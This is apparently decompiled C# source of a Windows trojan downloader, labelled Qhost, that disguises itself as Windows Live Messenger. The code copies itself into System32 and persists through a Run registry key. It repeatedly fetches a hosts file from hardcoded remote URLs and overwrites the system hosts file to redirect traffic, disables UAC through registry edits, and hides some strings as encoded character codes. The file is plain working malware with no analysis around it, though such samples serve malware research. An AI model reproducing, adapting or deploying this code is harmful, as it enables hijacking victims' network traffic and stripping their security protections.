// Decompiled with JetBrains decompiler
// Type: Pandora_FW2._0_V1._1.Form1
// Assembly: Pandora FW2.0 V1.1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 31F014A8-C1F6-4B86-B713-3B6454D2ED90
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Downloader.MSIL.Qhost.a-ad06fb18e7d0fd2f04ba3e5d9fcfec6cd3be1f1f256c912e4a8050bb025cf2b1.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using Microsoft.Win32;
using Pandora_FW2._0_V1._1.My;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Windows.Forms;

namespace Pandora_FW2._0_V1._1
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("Timer1")]
    private System.Windows.Forms.Timer _Timer1;
    private string direx;
    private string dirho;
    private string dirfi;
    private string a;
    private string b;
    private string c;
    private string d;
    private int @int;

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    [DebuggerNonUserCode]
    public Form1()
    {
      this.Load += new EventHandler(this.Form1_Load);
      Form1.__ENCAddToList((object) this);
      this.InitializeComponent();
    }

    [DebuggerNonUserCode]
    private static void __ENCAddToList(object value)
    {
      lock (Form1.__ENCList)
      {
        if (Form1.__ENCList.Count == Form1.__ENCList.Capacity)
        {
          int index1 = 0;
          int num = checked (Form1.__ENCList.Count - 1);
          int index2 = 0;
          while (index2 <= num)
          {
            if (Form1.__ENCList[index2].IsAlive)
            {
              if (index2 != index1)
                Form1.__ENCList[index1] = Form1.__ENCList[index2];
              checked { ++index1; }
            }
            checked { ++index2; }
          }
          Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1));
          Form1.__ENCList.Capacity = Form1.__ENCList.Count;
        }
        Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value)));
      }
    }

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.components = (IContainer) new System.ComponentModel.Container();
      ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (Form1));
      this.Timer1 = new System.Windows.Forms.Timer(this.components);
      this.SuspendLayout();
      this.Timer1.Interval = 1000;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(231, 129);
      this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
      this.Name = nameof (Form1);
      this.Text = nameof (Form1);
      this.ResumeLayout(false);
    }

    internal virtual System.Windows.Forms.Timer Timer1
    {
      [DebuggerNonUserCode] get => this._Timer1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
        if (this._Timer1 != null)
          this._Timer1.Tick -= eventHandler;
        this._Timer1 = value;
        if (this._Timer1 == null)
          return;
        this._Timer1.Tick += eventHandler;
      }
    }

    public void downhost()
    {
      try
      {
        HttpWebResponse response;
        try
        {
          response = (HttpWebResponse) ((HttpWebRequest) WebRequest.Create(this.verurl())).GetResponse();
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        long contentLength = response.ContentLength;
        FileStream fileStream = new FileStream(this.dirho, FileMode.Create);
        Stopwatch stopwatch = new Stopwatch();
        while (true)
        {
          stopwatch.Start();
          byte[] numArray = new byte[4096];
          int count = response.GetResponseStream().Read(numArray, 0, 4096);
          int num1;
          checked { num1 += count; }
          short num2 = checked ((short) Math.Round(unchecked ((double) checked (num1 * 100) / (double) contentLength)));
          if (count != 0)
          {
            fileStream.Write(numArray, 0, count);
            stopwatch.Stop();
          }
          else
            break;
        }
        response.GetResponseStream().Close();
        fileStream.Close();
        this.ponerEnInicio("Windows Live messenger", this.direx);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    public string verurl()
    {
      this.a = "http://pollastreslaura.es/images/readme.txt";
      this.b = "http://www.unibell.com.pe/admin/productos/readme.txt";
      this.c = "http://pollastreslaura.es/images/readme.txt";
      this.d = "http://www.unibell.com.pe/admin/productos/readme.txt";
      string str;
      if (Operators.CompareString(this.validurl(this.a), "OK", false) == 0)
        str = this.a;
      else if (Operators.CompareString(this.validurl(this.b), "OK", false) == 0)
        str = this.b;
      else if (Operators.CompareString(this.validurl(this.c), "OK", false) == 0)
        str = this.c;
      else if (Operators.CompareString(this.validurl(this.d), "OK", false) == 0)
        str = this.d;
      return str;
    }

    public string EvitarUAC()
    {
      string keyName = "HKEY_Local_Machine\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System";
      try
      {
        MyProject.Computer.Registry.SetValue(keyName, "ConsentPromptBehaviorAdmin", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, "EnableInstallerDetection", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, "EnableLUA", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, "EnableSecureUIAPaths", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, "FilterAdministratorToken", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, "ValidateAdminCodeSignatures", (object) "0", RegistryValueKind.DWord);
        MyProject.Computer.Registry.SetValue(keyName, this.amor("069110097098108101085073065068101115107116111112084111103103108101"), (object) "0", RegistryValueKind.DWord);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return keyName;
    }

    public string validurl(string http)
    {
      string str;
      try
      {
        HttpWebResponse response = (HttpWebResponse) WebRequest.Create(http).GetResponse();
        str = "OK";
      }
      catch (WebException ex)
      {
        ProjectData.SetProjectError((Exception) ex);
        if (ex.Status == WebExceptionStatus.NameResolutionFailure)
        {
          str = "NO";
          ProjectData.ClearProjectError();
        }
        else
          ProjectData.ClearProjectError();
      }
      return str;
    }

    public void Valoresiniciales()
    {
      this.direx = "C:\\Windows\\System32\\msnmsgr.exe";
      this.dirho = "C:\\Windows\\system32\\drivers\\etc\\hosts";
      this.@int = 0;
      this.Timer1.Interval = 1000;
      this.Visible = false;
      this.ShowInTaskbar = false;
      this.ShowIcon = false;
      this.Timer1.Enabled = true;
    }

    private bool ponerEnInicio(string nombreClave, string nombreApp)
    {
      RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(this.amor("083111102116119097114101092077105099114111115111102116092087105110100111119115092067117114114101110116086101114115105111110092082117110"), true);
      if (!nombreApp.StartsWith("\"") && nombreApp.IndexOf(" ") > -1)
        nombreApp = "\"" + nombreApp + "\"";
      registryKey.SetValue(nombreClave, (object) nombreApp);
      this.EvitarUAC();
      return true;
    }

    private void Timer1_Tick(object sender, EventArgs e)
    {
      if (this.@int == 3600)
      {
        this.downhost();
        this.@int = 0;
      }
      checked { ++this.@int; }
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      this.Valoresiniciales();
      this.dirfi = Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location) + "\\" + Path.GetFileName(Application.ExecutablePath);
      if (System.IO.File.Exists(this.direx))
      {
        this.downhost();
      }
      else
      {
        System.IO.File.Copy(this.dirfi, this.direx, true);
        this.ponerEnInicio("Windows Live messenger", this.direx);
        try
        {
          Process.Start(this.direx);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
    }

    private string amor(string sTexto)
    {
label_1:
      int num1;
      string str1;
      int num2;
      try
      {
        ProjectData.ClearProjectError();
        num1 = -2;
label_2:
        int num3 = 2;
        int Start = 1;
label_3:
        num3 = 3;
        int num4 = checked ((int) Math.Round(unchecked ((double) Strings.Len(sTexto) / 3.0)));
        int num5 = 1;
        goto label_9;
label_4:
        num3 = 4;
        string InputStr = Strings.Mid(sTexto, Start, 3);
label_5:
        num3 = 5;
        long CharCode = checked ((long) Math.Round(Conversion.Val(InputStr)));
label_6:
        num3 = 6;
        checked { Start += 3; }
label_7:
        num3 = 7;
        str1 += Conversions.ToString(Strings.Chr(checked ((int) CharCode)));
label_8:
        num3 = 8;
        checked { ++num5; }
label_9:
        if (num5 <= num4)
          goto label_4;
        else
          goto label_16;
label_11:
        num2 = num3;
        switch (num1 > -2 ? num1 : 1)
        {
          case 1:
            int num6 = num2 + 1;
            num2 = 0;
            switch (num6)
            {
              case 1:
                goto label_1;
              case 2:
                goto label_2;
              case 3:
                goto label_3;
              case 4:
                goto label_4;
              case 5:
                goto label_5;
              case 6:
                goto label_6;
              case 7:
                goto label_7;
              case 8:
                goto label_8;
              case 9:
                goto label_16;
            }
            break;
        }
      }
      catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
      {
        ProjectData.SetProjectError(ex);
        goto label_11;
      }
      throw ProjectData.CreateProjectError(-2146828237);
label_16:
      string str2 = str1;
      if (num2 == 0)
        return str2;
      ProjectData.ClearProjectError();
      return str2;
    }
  }
}
